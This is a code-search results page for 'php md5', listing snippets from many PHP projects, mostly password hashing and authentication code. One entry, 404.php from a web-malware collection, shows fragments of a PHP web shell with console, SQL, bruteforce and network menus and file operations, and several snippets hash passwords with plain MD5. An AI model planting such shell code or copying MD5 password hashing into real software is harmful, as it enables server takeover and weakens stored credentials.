PageRenderTime 57ms queryFilters 25ms Sphinxql 368ms GetByIds 487ms meta 0ms repositoryFilters 6ms languageFilters 1ms sourceFilters 1ms

66,045 results for 'php md5 repo:xperez/codeigniter-cross-modular-extensions-xhmvc' (57 ms)

Source

Language

Repository

ldap.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 787 lines
547    case 'md5':
548        $ret='{MD5}' . base64_encode(pack('H*',md5($pass)));
549        break;
577    case 'sha':
578        // minimal requirement = php 4.3.0+ or php with mhash extension
579        if ( function_exists('sha1') && defined('MHASH_SHA1')) {
616        // check if crypt() supports md5
617        if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
618            $ret = '{CRYPT}' . crypt($pass,'$1$' . GenerateRandomString(9,$extra_salt_chars,7));
718        // MD5 crypted passwords
719        if( strcasecmp( cpw_ldap_password_hash($pass_clear,'md5',$msgs), "{MD5}".$pass_hash ) == 0 )
720            $ret=true;
742            // ldap server might support it, but php might be on other OS
743            if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
744                list(,$type,$salt,$hash) = explode('$',$pass_hash);
ldap.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 785 lines
547    case 'md5':
548        $ret='{MD5}' . base64_encode(pack('H*',md5($pass)));
549        break;
576    case 'sha':
577        // minimal requirement = php 4.3.0+ or php with mhash extension
578        if ( function_exists('sha1') && defined('MHASH_SHA1')) {
614        // check if crypt() supports md5
615        if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
616            $ret = '{CRYPT}' . crypt($pass,'$1$' . GenerateRandomString(9,$extra_salt_chars,7));
716        // MD5 crypted passwords
717        if( strcasecmp( cpw_ldap_password_hash($pass_clear,'md5',$msgs), "{MD5}".$pass_hash ) == 0 )
718            $ret=true;
740            // ldap server might support it, but php might be on other OS
741            if (defined('CRYPT_MD5') && CRYPT_MD5==1) {
742                list(,$type,$salt,$hash) = explode('$',$pass_hash);
global.func.php https://zport.svn.codeplex.com/svn | PHP | 1,854 lines
67	$sidauth = $sidauth != '' ? $sidauth : authcode($GLOBALS['sid'], 'ENCODE', $GLOBALS['authkey']);
68	return rawurlencode(base64_encode($aid.'|'.substr(md5($aid.md5($GLOBALS['authkey']).$GLOBALS['timestamp']), 0, 8).'|'.$GLOBALS['timestamp'].'|'.$sidauth));
69}
887function quescrypt($questionid, $answer) {
888	return $questionid > 0 && $answer != '' ? substr(md5($answer.md5($questionid)), 16, 8) : '';
889}
935	}
936	$cachefile = DISCUZ_ROOT.'./forumdata/cache/request_'.md5($cachekey).'.php';
937	if(((@!include($cachefile)) || $expiration < $timestamp) && (!file_exists($cachefile.'.lock') || $timestamp - filemtime($cachefile.'.lock') > 3600)) {
946		foreach($nocachedata as $key => $v) {
947			$cachefile = DISCUZ_ROOT.'./forumdata/cache/request_'.md5($key).'.php';
948			if(!file_exists($cachefile.'.lock')) {
1417		if(empty($GLOBALS['avatarmethod'])) {
1418			return $returnsrc ? UC_API.'/avatar.php?uid='.$uid.'&size='.$size : '<img src="'.UC_API.'/avatar.php?uid='.$uid.'&size='.$size.'" />';
1419		} else {
AdminTranslations.php http://marocmall.googlecode.com/svn/trunk/ | PHP | 1,928 lines
577	 * This wrights subject translation files 
578	 * (in root/mails/lang_choosen/lang.php or root/_PS_THEMES_DIR_/mails/lang_choosen/lang.php)
579	 * and mails files. 
1146					foreach($matches[1] AS $key)
1147						$stringToTranslate[$key] = (key_exists(md5($key), $_ERRORS)) ? html_entity_decode($_ERRORS[md5($key)], ENT_COMPAT, 'UTF-8') : '';
1148				}
1177		{
1178			if (!preg_match('/\.php$/', $classFile) OR $classFile == 'index.php')
1179				continue;
1218					foreach ($rules['validate'] AS $key => $value)
1219						$str_output .= '<tr><td style="text-align:right;width:200px;">'.stripslashes($key).'</td><td style="width: 680px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_NOQUOTES, 'UTF-8') : '').'" style="width: 620px"></td></tr>';
1220				if (isset($rules['validateLang']))
1221					foreach ($rules['validateLang'] AS $key => $value)
1222						$str_output .= '<tr><td style="text-align:right;width:200px;">'.stripslashes($key).'</td><td style="width: 680px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_COMPAT, 'UTF-8') : '').'" style="width: 620px"></td></tr>';
1223				$str_output .= '
AdminTranslations.php http://marocmall.googlecode.com/svn/trunk/ | PHP | 1,954 lines
346				{
347					$post_key = md5(strtolower($module_name).'_'.($is_default ? self::DEFAULT_THEME_NAME : strtolower($theme_name)).'_'.strtolower($template_name).'_'.md5($key));
348					$pattern = '\'<{'.strtolower($module_name).'}'.($is_default ? 'prestashop' : strtolower($theme_name)).'>'.strtolower($template_name).'_'.md5($key).'\'';
1152					foreach($matches[1] AS $key)
1153						$stringToTranslate[$key] = (key_exists(md5($key), $_ERRORS)) ? html_entity_decode($_ERRORS[md5($key)], ENT_COMPAT, 'UTF-8') : '';
1154				}
1183		{
1184			if (!preg_match('/\.php$/', $classFile) OR $classFile == 'index.php')
1185				continue;
1224					foreach ($rules['validate'] AS $key => $value)
1225						$str_output .= '<tr><td style="text-align:right;width:200px;">'.stripslashes($key).'</td><td style="width: 680px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_NOQUOTES, 'UTF-8') : '').'" style="width: 620px"></td></tr>';
1226				if (isset($rules['validateLang']))
1227					foreach ($rules['validateLang'] AS $key => $value)
1228						$str_output .= '<tr><td style="text-align:right;width:200px;">'.stripslashes($key).'</td><td style="width: 680px">= <input type="text" name="'.$className.'_'.md5(addslashes($key)).'" value="'.(array_key_exists($className.'_'.md5(addslashes($key)), $_FIELDS) ? html_entity_decode($_FIELDS[$className.'_'.md5(addslashes($key))], ENT_COMPAT, 'UTF-8') : '').'" style="width: 620px"></td></tr>';
1229				$str_output .= '
404.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 1,488 lines
249        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; 
250    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); 
251    if(!empty($GLOBALS['auth_pass'])) 
270:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )
271:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'
272:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
652    <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'> 
653    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr> 
654    </form></table></div> 
681        'Full urlencode' => 'full_urlencode', 
682        'md5 hash' => 'md5', 
683        'sha1 hash' => 'sha1', 
722  
723            <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()">
724  
Passwd.php git://pkgs.fedoraproject.org/php-pear-File-Passwd | PHP | 417 lines
18 * @copyright  2003-2005 Michael Wallner
19 * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
20 * @version    CVS: $Id: Passwd.php,v 1.25 2005/04/14 15:00:30 mike Exp $
34// MD5 encryption
35define('FILE_PASSWD_MD5',   'md5');
36// DES encryption
258        
259        $binary = PEAR_ZE2 ? md5($context, true) : pack('H32', md5($context));
260        
269            $new .= ($i & 1) ? $binary : $plain;
270            $binary = PEAR_ZE2 ? md5($new, true) : pack('H32', md5($new));
271        }
367    * with APR compatible MD5 encryption used for htpasswd style
368    * password files encrypted in MD5. Generating one MD5 password
369    * takes about 0.3 seconds!
Auth.php git://pkgs.fedoraproject.org/horde | PHP | 1,376 lines
1<?php
2/**
192     * @param string $encryption     The kind of pasword encryption to use.
193     *                               Defaults to md5-hex.
194     * @param boolean $show_encrypt  Some password systems prepend the kind of
200    function getCryptedPassword($plaintext, $salt = '',
201                                $encryption = 'md5-hex', $show_encrypt = false)
202    {
219        case 'crypt-des':
220        case 'crypt-md5':
221        case 'crypt-blowfish':
278        default:
279            return ($show_encrypt) ? '{MD5}' . md5($plaintext) : md5($plaintext);
280        }
1279        while (--$count) {
1280            $aprmd5 .= $APRMD5[$value & 0x3f];
1281            $value >>= 6;
auth.php https://bitbucket.org/rhizomatik/lorea_production/ | PHP | 1,100 lines
65        if(isset($_SERVER['HTTP_AUTHORIZATION'])){
66            list($_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW']) =
67                explode(':', base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'], 6)));
918 *   my411 - MySQL 4.1.1 password
919 *   kmd5  - Salted MD5 hashing as used by UNB
920 *
933            if(defined('CRYPT_MD5') && CRYPT_MD5) return crypt($clear,'$1$'.substr($salt,0,8).'$');
934            // when crypt can't handle SMD5, falls through to pure PHP implementation
935            $magic = '1';
936        case 'apr1':
937            //from http://de.php.net/manual/en/function.crypt.php#73619 comment by <mikey_nich at hotmail dot com>
938            if(!$magic) $magic = 'apr1';
995            $key = substr($salt, 16, 2);
996            $hash1 = strtolower(md5($key . md5($clear)));
997            $hash2 = substr($hash1, 0, 16) . $key . substr($hash1, 16);
CF_Object.php git://github.com/ushahidi/Ushahidi_Web.git | PHP | 711 lines
258     *
259     * Given an open PHP resource (see PHP's fopen() method), fetch the Object's
260     * data and write it to the open resource handle.  This is useful for
398     * Write data to the remote Object.  The $data argument can either be a
399     * PHP resource open for reading (see PHP's fopen() method) or an in-memory
400     * variable.  If passing in a PHP resource, you must also include the $bytes
638     *
639     * Calculate the MD5 checksum on either a PHP resource or data.  The argument
640     * may either be a local filename, open resource for reading, or a string.
661        } elseif ((string)is_file($data)) {
662            $md5 = md5_file($data);
663        } else {
663        } else {
664            $md5 = md5($data);
665        }
Http.php http://yurishop.googlecode.com/svn/trunk/ | PHP | 870 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: Http.php 23088 2010-10-11 19:53:24Z padraic $
21 */
26 */
27#require_once 'Zend/Auth/Adapter/Interface.php';
28
117     * List of the supported digest algorithms. I want to support both MD5 and
118     * MD5-sess, but MD5-sess won't make it into the first version.
119     *
121     */
122    protected $_supportedAlgos = array('MD5');
123
124    /**
125     * The actual algorithm to use. Defaults to MD5
126     *
Http.php http://display-ui.googlecode.com/svn/trunk/ | PHP | 870 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: Http.php 23775 2011-03-01 17:25:24Z ralph $
21 */
26 */
27require_once 'Zend/Auth/Adapter/Interface.php';
28
117     * List of the supported digest algorithms. I want to support both MD5 and
118     * MD5-sess, but MD5-sess won't make it into the first version.
119     *
121     */
122    protected $_supportedAlgos = array('MD5');
123
124    /**
125     * The actual algorithm to use. Defaults to MD5
126     *
Http.php git://github.com/frapi/frapi.git | PHP | 847 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: Http.php 20096 2010-01-06 02:05:09Z bkarwin $
21 */
26 */
27// require_once 'Zend/Auth/Adapter/Interface.php';
28
117     * List of the supported digest algorithms. I want to support both MD5 and
118     * MD5-sess, but MD5-sess won't make it into the first version.
119     *
121     */
122    protected $_supportedAlgos = array('MD5');
123
124    /**
125     * The actual algorithm to use. Defaults to MD5
126     *
Http.php http://firephp.googlecode.com/svn/trunk/ | text | 0 lines
1<?php
2/**
19 * @license    http://framework.zend.com/license/new-bsd     New BSD License
20 * @version    $Id: Http.php 12503 2008-11-10 16:28:40Z matthew $
21 */
26 */
27require_once 'Zend/Auth/Adapter/Interface.php';
28
117     * List of the supported digest algorithms. I want to support both MD5 and
118     * MD5-sess, but MD5-sess won't make it into the first version.
119     *
121     */
122    protected $_supportedAlgos = array('MD5');
123
124    /**
125     * The actual algorithm to use. Defaults to MD5
126     *
sessions.php https://code.google.com/p/enanocms/ | PHP | 4,736 lines
676	 * @param string $password The password -OR- the MD5 hash of the password if $already_md5ed is true
677	 * @param bool $already_md5ed This should be set to true if $password is an MD5 hash, and should be false if it's plaintext. Defaults to false.
678	 * @param int $level The privilege level we're authenticating for, defaults to 0
1214		{
1215			$key_md5 = md5($key);
1216			$query = $db->sql_query("SELECT $columns_select\n"
1233		{
1234			$key_md5 = $loose_call ? $key : md5($key);
1235			$query = $this->sql('SELECT u.user_id AS uid,u.username,u.password,\'\' AS password_salt,u.email,u.real_name,u.user_level,u.theme,u.style,u.signature,u.reg_time,u.account_active,u.activation_key,k.source_ip,k.time,k.auth_level,COUNT(p.message_id) AS num_pms, 1440 AS user_timezone, \'0;0;0;0;60\' AS user_dst, ' . SK_SHORT . ' AS key_type, k.salt FROM '.table_prefix.'session_keys AS k
1670	 * Fetch a cached login public key using the MD5sum as an identifier. Each key can only be fetched once before it is destroyed.
1671	 * @param string $md5 The MD5 sum of the key
1672	 * @return string, or bool false on failure
1681		{
1682			if(md5($k) == $md5)
1683			{
HTTP.php https://code.google.com/p/mwenhanced/ | PHP | 796 lines
1<?php
2//
5// +----------------------------------------------------------------------+
6// | Copyright (c) 1997-2004 The PHP Group                                |
7// +----------------------------------------------------------------------+
7// +----------------------------------------------------------------------+
8// | This source file is subject to version 2.02 of the PHP license,      |
9// | that is bundled with this package in the file LICENSE, and is        |
10// | available at through the world-wide-web at                           |
11// | http://www.php.net/license/2_02.txt.                                 |
12// | If you did not receive a copy of the PHP license and are unable to   |
13// | obtain it through the world-wide-web, please send a note to          |
14// | license@php.net so we can mail you a copy immediately.               |
15// +----------------------------------------------------------------------+
209    /**
210     * Assign values from $PHP_AUTH_USER and $PHP_AUTH_PW or 'Authorization' header
211     * to internal variables and sets the session id based
imap_general.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 954 lines
1<?php
2
9 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
10 * @version $Id: imap_general.php 11307 2006-06-26 15:08:59Z kink $
11 * @package squirrelmail
15/** Includes.. */
16require_once(SM_PATH . 'functions/page_header.php');
17require_once(SM_PATH . 'functions/auth.php');
48        set_up_language($squirrelmail_language);
49        require_once(SM_PATH . 'functions/display_messages.php');
50        $string = "<b><font color=\"$color[2]\">\n" .
461
462    if (($imap_auth_mech == 'cram-md5') OR ($imap_auth_mech == 'digest-md5')) {
463        // We're using some sort of authentication OTHER than plain or login
506            $message = _("The IMAP server is reporting that plain text logins are disabled.").' '.
507                _("Using CRAM-MD5 or DIGEST-MD5 authentication instead may work.").' ';
508            if (!$use_imap_tls) {
imap_general.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 1,021 lines
1<?php
2
9 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
10 * @version $Id: imap_general.php 14084 2011-01-06 02:44:03Z pdontthink $
11 * @package squirrelmail
15/** Includes.. */
16require_once(SM_PATH . 'functions/page_header.php');
17require_once(SM_PATH . 'functions/auth.php');
48        set_up_language($squirrelmail_language);
49        require_once(SM_PATH . 'functions/display_messages.php');
50        $string = "<b><font color=\"$color[2]\">\n" .
513
514    if (($imap_auth_mech == 'cram-md5') OR ($imap_auth_mech == 'digest-md5')) {
515        // We're using some sort of authentication OTHER than plain or login
558            $message = _("The IMAP server is reporting that plain text logins are disabled.").' '.
559                _("Using CRAM-MD5 or DIGEST-MD5 authentication instead may work.").' ';
560            if (!$use_imap_tls) {
imap_general.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 961 lines
1<?php
2
9 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
10 * @version $Id: imap_general.php 12127 2007-01-13 20:07:24Z kink $
11 * @package squirrelmail
15/** Includes.. */
16require_once(SM_PATH . 'functions/page_header.php');
17require_once(SM_PATH . 'functions/auth.php');
48        set_up_language($squirrelmail_language);
49        require_once(SM_PATH . 'functions/display_messages.php');
50        $string = "<b><font color=\"$color[2]\">\n" .
468
469    if (($imap_auth_mech == 'cram-md5') OR ($imap_auth_mech == 'digest-md5')) {
470        // We're using some sort of authentication OTHER than plain or login
513            $message = _("The IMAP server is reporting that plain text logins are disabled.").' '.
514                _("Using CRAM-MD5 or DIGEST-MD5 authentication instead may work.").' ';
515            if (!$use_imap_tls) {
imap_general.php https://squirrelmail.svn.sourceforge.net/svnroot/squirrelmail | PHP | 1,023 lines
1<?php
2
9 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
10 * @version $Id: imap_general.php 13789 2009-07-27 01:40:44Z jangliss $
11 * @package squirrelmail
15/** Includes.. */
16require_once(SM_PATH . 'functions/page_header.php');
17require_once(SM_PATH . 'functions/auth.php');
48        set_up_language($squirrelmail_language);
49        require_once(SM_PATH . 'functions/display_messages.php');
50        $string = "<b><font color=\"$color[2]\">\n" .
513
514    if (($imap_auth_mech == 'cram-md5') OR ($imap_auth_mech == 'digest-md5')) {
515        // We're using some sort of authentication OTHER than plain or login
558            $message = _("The IMAP server is reporting that plain text logins are disabled.").' '.
559                _("Using CRAM-MD5 or DIGEST-MD5 authentication instead may work.").' ';
560            if (!$use_imap_tls) {
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21